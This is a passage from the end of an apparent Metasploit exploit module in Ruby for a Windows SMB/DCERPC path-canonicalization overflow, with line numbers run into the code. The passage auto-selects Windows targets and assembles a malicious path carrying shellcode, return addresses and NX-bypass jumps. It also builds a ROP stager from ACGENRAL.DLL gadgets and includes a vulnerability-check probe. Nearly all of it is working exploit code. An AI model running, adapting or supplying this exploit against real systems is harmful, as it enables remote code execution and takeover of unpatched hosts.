1'978mytarget = targets[2]979end980981# Windows 2003 SP0 is mostly universal982if fprint['os'] == 'Windows 2003' and fprint['sp'].empty?983mytarget = targets[3]984end985986# Windows 2003 R2 is treated the same as 2003987if (fprint['os'] == 'Windows 2003 R2')988fprint['os'] = 'Windows 2003'989end990991# Service Pack match must be exact992if (not mytarget) and fprint['sp'].index('+')993print_error('Could not determine the exact service pack')994print_error("Auto-targeting failed, use 'show targets' to manually select one")995disconnect996return997end998999# Language Pack match must be exact or we default to English1000if (not mytarget) and fprint['lang'] == 'Unknown'1001print_status('We could not detect the language pack, defaulting to English')1002fprint['lang'] = 'English'1003end10041005# Normalize the service pack string1006fprint['sp'].gsub!(/Service Pack\s+/, 'SP')10071008unless mytarget1009targets.each do |t|1010# Prefer AlwaysOn NX over NX, and NX over non-NX1011if t.name =~ /#{fprint['os']} #{fprint['sp']} #{fprint['lang']} \(AlwaysOn NX\)/1012mytarget = t1013break1014end1015if t.name =~ /#{fprint['os']} #{fprint['sp']} #{fprint['lang']} \(NX\)/1016mytarget = t1017break1018end1019end1020end10211022unless mytarget1023fail_with(Failure::NoTarget, 'No matching target')1024end10251026print_status("Selected Target: #{mytarget.name}")1027end10281029#1030# Build the malicious path name1031#10321033padder = [*('A'..'Z')]1034pad = 'A'1035while pad.length < 71036c = padder[rand(padder.length)]1037next if pad.index(c)1038pad += c1039end10401041prefix = '\\'1042path = ''1043server = Rex::Text.rand_text_alpha(rand(8) + 1).upcase10441045#1046# Windows 2003 SP2 (NX) targets1047#1048if mytarget['RetDec']10491050jumper = Rex::Text.rand_text_alpha(70).upcase1051jumper[ 0, 4] = [mytarget['RetDec']].pack('V') # one more to Align and make room10521053jumper[ 4, 4] = [mytarget['RetDec']].pack('V') # 4 more for space1054jumper[ 8, 4] = [mytarget['RetDec']].pack('V')1055jumper[ 12, 4] = [mytarget['RetDec']].pack('V')1056jumper[ 16, 4] = [mytarget['RetDec']].pack('V')10571058jumper[ 20, 4] = [mytarget['RetPop']].pack('V') # pop to EBP1059jumper[ 24, 4] = [mytarget['DisableNX']].pack('V')10601061jumper[ 56, 4] = [mytarget['JmpESP']].pack('V')1062jumper[ 60, 4] = [mytarget['JmpESP']].pack('V')1063jumper[ 64, 2] = "\xeb\x02" # our jump1064jumper[ 68, 2] = "\xeb\x62" # original10651066path =1067Rex::Text.to_unicode('\\') +10681069# This buffer is removed from the front1070Rex::Text.rand_text_alpha(100) +10711072# Shellcode1073payload.encoded +10741075# Relative path to trigger the bug1076Rex::Text.to_unicode('\\..\\..\\') +10771078# Extra padding1079Rex::Text.to_unicode(pad) +10801081# Writable memory location (static)1082[mytarget['Scratch']].pack('V') + # EBP10831084# Return to code which disables NX (or just the return)1085[mytarget['RetDec']].pack('V') +10861087# Padding with embedded jump1088jumper +10891090# NULL termination1091"\x00" * 210921093#1094# Windows XP SP2/SP3 ROP Stager targets1095#1096elsif mytarget['UseROP']10971098rop = generate_rop(mytarget['UseROP'])10991100path =1101Rex::Text.to_unicode('\\') +11021103# This buffer is removed from the front1104Rex::Text.rand_text_alpha(100) +11051106# Shellcode1107payload.encoded +11081109# Relative path to trigger the bug1110Rex::Text.to_unicode('\\..\\..\\') +11111112# Extra padding1113Rex::Text.to_unicode(pad) +11141115# ROP Stager1116rop +11171118# Padding (skipped)1119Rex::Text.rand_text_alpha(2) +11201121# NULL termination1122"\x00" * 211231124#1125# Windows 2000, XP (NX), and 2003 (NO NX) targets1126#1127else11281129jumper = Rex::Text.rand_text_alpha(70).upcase1130jumper[ 4, 4] = [mytarget.ret].pack('V')1131jumper[50, 8] = make_nops(8)1132jumper[58, 2] = "\xeb\x62"11331134path =1135Rex::Text.to_unicode('\\') +11361137# This buffer is removed from the front1138Rex::Text.rand_text_alpha(100) +11391140# Shellcode1141payload.encoded +11421143# Relative path to trigger the bug1144Rex::Text.to_unicode('\\..\\..\\') +11451146# Extra padding1147Rex::Text.to_unicode(pad) +11481149# Writable memory location (static)1150[mytarget['Scratch']].pack('V') + # EBP11511152# Return to code which disables NX (or just the return)1153[mytarget['DisableNX'] || mytarget.ret].pack('V') +11541155# Padding with embedded jump1156jumper +11571158# NULL termination1159"\x00" * 211601161end11621163handle = dcerpc_handle(1164'4b324fc8-1670-01d3-1278-5a47bf6ee188', '3.0',1165'ncacn_np', ["\\#{datastore['SMBPIPE']}"]1166)11671168dcerpc_bind(handle)11691170stub =1171NDR.uwstring(server) +1172NDR.UnicodeConformantVaryingStringPreBuilt(path) +1173NDR.long(rand(1024)) +1174NDR.wstring(prefix) +1175NDR.long(4097) +1176NDR.long(0)11771178# NOTE: we don't bother waiting for a response here...1179print_status('Attempting to trigger the vulnerability...')1180dcerpc.call(0x1f, stub, false)11811182# Cleanup1183handler1184disconnect1185end11861187def check1188begin1189connect(versions: [1])1190smb_login1191rescue Rex::ConnectionError => e1192vprint_error("Connection failed: #{e.class}: #{e}")1193return Msf::Exploit::CheckCode::Unknown1194rescue Rex::Proto::SMB::Exceptions::LoginError => e1195if e.message =~ /Connection reset/1196vprint_error('Connection reset during login')1197vprint_error('This most likely means a previous exploit attempt caused the service to crash')1198return Msf::Exploit::CheckCode::Unknown1199else1200raise e1201end1202end12031204#1205# Build the malicious path name1206# 5b878ae7 "db @eax;g"1207prefix = '\\'1208path =1209"\x00\\\x00/" * 0x10 +1210Rex::Text.to_unicode('\\') +1211Rex::Text.to_unicode('R7') +1212Rex::Text.to_unicode('\\..\\..\\') +1213Rex::Text.to_unicode('R7') +1214"\x00" * 212151216server = Rex::Text.rand_text_alpha(rand(8) + 1).upcase12171218handle = dcerpc_handle('4b324fc8-1670-01d3-1278-5a47bf6ee188', '3.0',1219'ncacn_np', ["\\#{datastore['SMBPIPE']}"]1220)12211222begin1223# Samba doesn't have this handle and returns an ErrorCode1224dcerpc_bind(handle)1225rescue Rex::Proto::SMB::Exceptions::ErrorCode => e1226vprint_error("SMB error: #{e.message}")1227return Msf::Exploit::CheckCode::Safe1228end12291230vprint_status('Verifying vulnerable status... (path: 0x%08x)' % path.length)12311232stub =1233NDR.uwstring(server) +1234NDR.UnicodeConformantVaryingStringPreBuilt(path) +1235NDR.long(8) +1236NDR.wstring(prefix) +1237NDR.long(4097) +1238NDR.long(0)12391240resp = dcerpc.call(0x1f, stub)1241error = resp[4, 4].unpack('V')[0]12421243# Cleanup1244simple.client.close1245simple.client.tree_disconnect1246disconnect12471248if (error == 0x0052005c) # \R :)1249return Msf::Exploit::CheckCode::Vulnerable1250else1251vprint_error('System is not vulnerable (status: 0x%08x)' % error) if error1252return Msf::Exploit::CheckCode::Safe1253end1254end12551256def generate_rop(version)1257free_byte = "\x90"1258# free_byte = "\xcc"12591260# create a few small gadgets1261# <free byte>; pop edx; pop ecx; ret1262gadget1 = free_byte + "\x5a\x59\xc3"1263# mov edi, eax; add edi,0xc; push 0x40; pop ecx; rep movsd1264gadget2 = free_byte + "\x89\xc7" + "\x83\xc7\x0c" + "\x6a\x7f" + "\x59" + "\xf2\xa5" + free_byte1265# <must complete \x00 two byte opcode>; <free_byte>; jmp $+0x5c1266gadget3 = "\xcc" + free_byte + "\xeb\x5a"12671268# gadget2:1269# get eax into edi1270# adjust edi1271# get 0x7f in ecx1272# copy the data1273# jmp to it1274#1275dws = gadget2.unpack('V*')12761277##1278# Create the ROP stager, pfew.. Props to corelanc0d3r!1279# This was no easy task due to space limitations :-/1280# -jduck1281##1282module_name = 'ACGENRAL.DLL'1283module_base = 0x6f88000012841285rvasets = {}1286# XP SP21287rvasets['5.1.2600.2180'] = {1288# call [imp_HeapCreate] / mov [0x6f8b8024], eax / ret1289'call_HeapCreate' => 0x21064,1290'add eax, ebp / mov ecx, 0x59ffffa8 / ret' => 0x2e546,1291'pop ecx / ret' => 0x2e546 + 6,1292'mov [eax], ecx / ret' => 0xd182,1293'jmp eax' => 0x19b85,1294'mov [eax+8], edx / mov [eax+0xc], ecx / mov [eax+0x10], ecx / ret' => 0x10976,1295'mov [eax+0x10], ecx / ret' => 0x10976 + 6,1296'add eax, 8 / ret' => 0x29a141297}12981299# XP SP31300rvasets['5.1.2600.5512'] = {1301# call [imp_HeapCreate] / mov [0x6f8b02c], eax / ret1302'call_HeapCreate' => 0x21286,1303'add eax, ebp / mov ecx, 0x59ffffa8 / ret' => 0x2e796,1304'pop ecx / ret' => 0x2e796 + 6,1305'mov [eax], ecx / ret' => 0xd296,1306'jmp eax' => 0x19c6f,1307'mov [eax+8], edx / mov [eax+0xc], ecx / mov [eax+0x10], ecx / ret' => 0x10a56,1308'mov [eax+0x10], ecx / ret' => 0x10a56 + 6,1309'add eax, 8 / ret' => 0x29c641310}13111312# HeapCreate ROP Stager from ACGENRAL.DLL 5.1.2600.21801313rop = [1314# prime ebp (adjustment distance)13150x00018000,13161317# get some RWX memory via HeapCreate1318'call_HeapCreate',13190x01040110, # flOptions (gets & with 0x40005)13200x01010101,13210x01010101,13221323# adjust the returned pointer1324'add eax, ebp / mov ecx, 0x59ffffa8 / ret',13251326# setup gadget11327'pop ecx / ret',1328gadget1.unpack('V').first,1329'mov [eax], ecx / ret',13301331# execute gadget11332'jmp eax',13331334# setup gadget2 (via gadget1)1335dws[0],1336dws[1],1337'mov [eax+8], edx / mov [eax+0xc], ecx / mov [eax+0x10], ecx / ret',13381339# setup part3 of gadget21340'pop ecx / ret',1341dws[2],1342'mov [eax+0x10], ecx / ret',13431344# execute gadget21345'add eax, 8 / ret',1346'jmp eax',13471348# gadget3 gets executed after gadget2 (luckily)1349gadget3.unpack('V').first1350]13511352# convert the meta rop into concrete bytes1353rvas = rvasets[version]13541355rop.map! { |e|1356if e.kind_of? String1357# Meta-replace (RVA)1358fail_with(Failure::BadConfig, "Unable to locate key: \"#{e}\"") unless rvas[e]1359module_base + rvas[e]13601361elsif e == :unused1362# Randomize1363rand_text(4).unpack('V').first13641365else1366# Literal1367e1368end1369}13701371ret = rop.pack('V*')13721373# check badchars?1374# idx = Rex::Text.badchar_index(ret, payload_badchars)13751376ret1377end1378end137913801381